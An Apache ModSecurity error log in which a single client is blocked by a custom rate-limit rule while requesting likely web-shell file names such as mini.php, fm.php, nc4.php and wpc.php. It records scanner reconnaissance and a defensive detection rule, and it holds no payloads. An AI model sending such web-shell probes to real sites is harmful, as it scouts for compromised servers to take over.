[Thu Dec 25 21:43:15.233266 2025] [:error] [pid 22043:tid 22057] [client 4.193.224.251:11119] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mariju.php"] [unique_id "aU0_cz4YVtlb2Iz_QE5J8AAAAAk"]
[Thu Dec 25 21:43:15.750791 2025] [:error] [pid 22044:tid 22094] [client 4.193.224.251:16851] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/k.php"] [unique_id "aU0_c3PTC5rQKTB0FQ-UUAAAANM"]
[Thu Dec 25 21:43:16.356858 2025] [:error] [pid 22045:tid 22116] [client 4.193.224.251:16854] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/k.php"] [unique_id "aU0_dKsGGmXjDnvlmHtljAAAAU4"]
[Thu Dec 25 21:43:17.078145 2025] [:error] [pid 22044:tid 22079] [client 4.193.224.251:11175] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/k.php"] [unique_id "aU0_dXPTC5rQKTB0FQ-UUwAAAMQ"]
[Thu Dec 25 21:43:17.788375 2025] [:error] [pid 22131:tid 22155] [client 4.193.224.251:16778] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/k.php"] [unique_id "aU0_dZvVMtSTB4lX2fYsvQAAAFM"]
[Thu Dec 25 21:43:18.242504 2025] [:error] [pid 22043:tid 22052] [client 4.193.224.251:11094] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cache.php"] [unique_id "aU0_dj4YVtlb2Iz_QE5J8gAAAAQ"]
[Thu Dec 25 21:43:19.072173 2025] [:error] [pid 22131:tid 22149] [client 4.193.224.251:16790] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cache.php"] [unique_id "aU0_d5vVMtSTB4lX2fYswQAAAE4"]
[Thu Dec 25 21:43:19.914654 2025] [:error] [pid 22043:tid 22053] [client 4.193.224.251:11189] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cache.php"] [unique_id "aU0_dz4YVtlb2Iz_QE5J-AAAAAU"]
[Thu Dec 25 21:43:20.775109 2025] [:error] [pid 27869:tid 27894] [client 4.193.224.251:16852] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cache.php"] [unique_id "aU0_eBNK7_n86kBD7qfOZwAAAJc"]
[Thu Dec 25 21:43:21.284301 2025] [:error] [pid 22044:tid 22086] [client 4.193.224.251:11147] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zfile.php"] [unique_id "aU0_eXPTC5rQKTB0FQ-UVgAAAMs"]
[Thu Dec 25 21:43:22.200784 2025] [:error] [pid 22131:tid 22141] [client 4.193.224.251:10954] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zfile.php"] [unique_id "aU0_epvVMtSTB4lX2fYsxQAAAEc"]
[Thu Dec 25 21:43:22.740141 2025] [:error] [pid 22043:tid 22059] [client 4.193.224.251:16868] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zfile.php"] [unique_id "aU0_ej4YVtlb2Iz_QE5J-wAAAAs"]
[Thu Dec 25 21:43:23.307540 2025] [:error] [pid 22131:tid 22133] [client 4.193.224.251:16888] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zfile.php"] [unique_id "aU0_e5vVMtSTB4lX2fYsxwAAAEA"]
[Thu Dec 25 21:43:23.758279 2025] [:error] [pid 27869:tid 27888] [client 4.193.224.251:16847] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/NewFile.php"] [unique_id "aU0_exNK7_n86kBD7qfOawAAAJE"]
[Thu Dec 25 21:43:24.256637 2025] [:error] [pid 22131:tid 22145] [client 4.193.224.251:11134] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/NewFile.php"] [unique_id "aU0_fJvVMtSTB4lX2fYsyQAAAEs"]
[Thu Dec 25 21:43:24.657258 2025] [:error] [pid 22045:tid 22109] [client 4.193.224.251:11135] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/NewFile.php"] [unique_id "aU0_fKsGGmXjDnvlmHtlnAAAAUc"]
[Thu Dec 25 21:43:25.165139 2025] [:error] [pid 22043:tid 22066] [client 4.193.224.251:11097] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/NewFile.php"] [unique_id "aU0_fT4YVtlb2Iz_QE5KAAAAABI"]
[Thu Dec 25 21:43:25.605243 2025] [:error] [pid 27869:tid 27873] [client 4.193.224.251:16794] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/des.php"] [unique_id "aU0_fRNK7_n86kBD7qfOcgAAAII"]
[Thu Dec 25 21:43:25.958486 2025] [:error] [pid 22044:tid 22080] [client 4.193.224.251:11148] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/des.php"] [unique_id "aU0_fXPTC5rQKTB0FQ-UZQAAAMU"]
[Thu Dec 25 21:43:26.457281 2025] [:error] [pid 27869:tid 27891] [client 4.193.224.251:11122] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/des.php"] [unique_id "aU0_fhNK7_n86kBD7qfOdAAAAJQ"]
[Thu Dec 25 21:43:26.934998 2025] [:error] [pid 22044:tid 22086] [client 4.193.224.251:11102] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/des.php"] [unique_id "aU0_fnPTC5rQKTB0FQ-UZwAAAMs"]
[Thu Dec 25 21:43:27.386433 2025] [:error] [pid 22045:tid 22105] [client 4.193.224.251:11153] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ant.php"] [unique_id "aU0_f6sGGmXjDnvlmHtlogAAAUM"]
[Thu Dec 25 21:43:27.913983 2025] [:error] [pid 22043:tid 22054] [client 4.193.224.251:16885] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ant.php"] [unique_id "aU0_fz4YVtlb2Iz_QE5KBAAAAAY"]
[Thu Dec 25 21:43:28.408594 2025] [:error] [pid 22131:tid 22136] [client 4.193.224.251:11016] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ant.php"] [unique_id "aU0_gJvVMtSTB4lX2fYszQAAAEM"]
[Thu Dec 25 21:43:29.001095 2025] [:error] [pid 22044:tid 22099] [client 4.193.224.251:11034] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ant.php"] [unique_id "aU0_gHPTC5rQKTB0FQ-UaQAAANg"]
[Thu Dec 25 21:43:29.484666 2025] [:error] [pid 27869:tid 27886] [client 4.193.224.251:16855] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jlex.php"] [unique_id "aU0_gRNK7_n86kBD7qfOeAAAAI8"]
[Thu Dec 25 21:43:29.996483 2025] [:error] [pid 27869:tid 27893] [client 4.193.224.251:16872] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jlex.php"] [unique_id "aU0_gRNK7_n86kBD7qfOegAAAJY"]
[Thu Dec 25 21:43:30.526563 2025] [:error] [pid 22044:tid 22078] [client 4.193.224.251:11092] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jlex.php"] [unique_id "aU0_gnPTC5rQKTB0FQ-UawAAAMM"]
[Thu Dec 25 21:43:30.957738 2025] [:error] [pid 22131:tid 22143] [client 4.193.224.251:11039] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jlex.php"] [unique_id "aU0_gpvVMtSTB4lX2fYs0AAAAEk"]
[Thu Dec 25 21:43:31.476739 2025] [:error] [pid 22045:tid 22109] [client 4.193.224.251:11257] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mini.php"] [unique_id "aU0_g6sGGmXjDnvlmHtlqwAAAUc"]
[Thu Dec 25 21:43:31.915857 2025] [:error] [pid 22044:tid 22085] [client 4.193.224.251:16797] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mini.php"] [unique_id "aU0_g3PTC5rQKTB0FQ-UbgAAAMo"]
[Thu Dec 25 21:43:32.412423 2025] [:error] [pid 27869:tid 27873] [client 4.193.224.251:11057] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mini.php"] [unique_id "aU0_hBNK7_n86kBD7qfOhQAAAII"]
[Thu Dec 25 21:43:32.953708 2025] [:error] [pid 22043:tid 22048] [client 4.193.224.251:16792] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mini.php"] [unique_id "aU0_hD4YVtlb2Iz_QE5KHAAAAAA"]
[Thu Dec 25 21:43:33.372052 2025] [:error] [pid 22043:tid 22072] [client 4.193.224.251:11031] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fm.php"] [unique_id "aU0_hT4YVtlb2Iz_QE5KJgAAABg"]
[Thu Dec 25 21:43:34.087684 2025] [:error] [pid 27869:tid 27889] [client 4.193.224.251:11091] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fm.php"] [unique_id "aU0_hhNK7_n86kBD7qfOiwAAAJI"]
[Thu Dec 25 21:43:34.829865 2025] [:error] [pid 22131:tid 22133] [client 4.193.224.251:11131] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fm.php"] [unique_id "aU0_hpvVMtSTB4lX2fYs8QAAAEA"]
[Thu Dec 25 21:43:35.450607 2025] [:error] [pid 22131:tid 22151] [client 4.193.224.251:11081] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fm.php"] [unique_id "aU0_h5vVMtSTB4lX2fYs8gAAAFA"]
[Thu Dec 25 21:43:35.949716 2025] [:error] [pid 22044:tid 22092] [client 4.193.224.251:16787] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "aU0_h3PTC5rQKTB0FQ-UpQAAANE"]
[Thu Dec 25 21:43:36.483176 2025] [:error] [pid 27869:tid 27895] [client 4.193.224.251:16890] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "aU0_iBNK7_n86kBD7qfOjgAAAJg"]
[Thu Dec 25 21:43:36.864215 2025] [:error] [pid 22045:tid 22121] [client 4.193.224.251:11012] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "aU0_iKsGGmXjDnvlmHtl6gAAAVM"]
[Thu Dec 25 21:43:37.197128 2025] [:error] [pid 22045:tid 22122] [client 4.193.224.251:11035] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "aU0_iasGGmXjDnvlmHtl6wAAAVQ"]
[Thu Dec 25 21:43:37.606397 2025] [:error] [pid 22045:tid 22105] [client 4.193.224.251:11032] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wpc.php"] [unique_id "aU0_iasGGmXjDnvlmHtl7AAAAUM"]
[Thu Dec 25 21:43:38.168125 2025] [:error] [pid 22043:tid 22048] [client 4.193.224.251:11116] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wpc.php"] [unique_id "aU0_ij4YVtlb2Iz_QE5KKgAAAAA"]
[Thu Dec 25 21:43:38.632502 2025] [:error] [pid 22045:tid 22107] [client 4.193.224.251:16862] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wpc.php"] [unique_id "aU0_iqsGGmXjDnvlmHtl7QAAAUU"]
[Thu Dec 25 21:43:39.078746 2025] [:error] [pid 22044:tid 22082] [client 4.193.224.251:16893] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wpc.php"] [unique_id "aU0_i3PTC5rQKTB0FQ-UqAAAAMc"]
[Thu Dec 25 21:43:39.568192 2025] [:error] [pid 27869:tid 27875] [client 4.193.224.251:16770] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lc.php"] [unique_id "aU0_ixNK7_n86kBD7qfOlQAAAIQ"]
[Thu Dec 25 21:43:40.165622 2025] [:error] [pid 22044:tid 22081] [client 4.193.224.251:10999] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lc.php"] [unique_id "aU0_jHPTC5rQKTB0FQ-UqgAAAMY"]
[Thu Dec 25 21:43:40.794971 2025] [:error] [pid 22043:tid 22055] [client 4.193.224.251:11104] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lc.php"] [unique_id "aU0_jD4YVtlb2Iz_QE5KLAAAAAc"]
[Thu Dec 25 21:43:41.401029 2025] [:error] [pid 27869:tid 27880] [client 4.193.224.251:11015] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lc.php"] [unique_id "aU0_jRNK7_n86kBD7qfOlgAAAIk"]
[Thu Dec 25 21:43:41.887201 2025] [:error] [pid 22131:tid 22144] [client 4.193.224.251:11127] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mlex.php"] [unique_id "aU0_jZvVMtSTB4lX2fYs_AAAAEo"]
[Thu Dec 25 21:43:42.509860 2025] [:error] [pid 22044:tid 22095] [client 4.193.224.251:16881] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mlex.php"] [unique_id "aU0_jnPTC5rQKTB0FQ-UrgAAANQ"]
[Thu Dec 25 21:43:42.881395 2025] [:error] [pid 27869:tid 27885] [client 4.193.224.251:16793] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mlex.php"] [unique_id "aU0_jhNK7_n86kBD7qfOngAAAI4"]
[Thu Dec 25 21:43:43.981601 2025] [:error] [pid 27869:tid 27873] [client 4.193.224.251:11237] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mlex.php"] [unique_id "aU0_jxNK7_n86kBD7qfOogAAAII"]
[Thu Dec 25 21:43:44.565590 2025] [:error] [pid 22043:tid 22066] [client 4.193.224.251:11042] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nc4.php"] [unique_id "aU0_kD4YVtlb2Iz_QE5KLgAAABI"]
[Thu Dec 25 21:43:45.313182 2025] [:error] [pid 22044:tid 22091] [client 4.193.224.251:16871] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nc4.php"] [unique_id "aU0_kXPTC5rQKTB0FQ-UsQAAANA"]
[Thu Dec 25 21:43:45.812831 2025] [:error] [pid 27869:tid 27871] [client 4.193.224.251:10988] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nc4.php"] [unique_id "aU0_kRNK7_n86kBD7qfOqwAAAIA"]
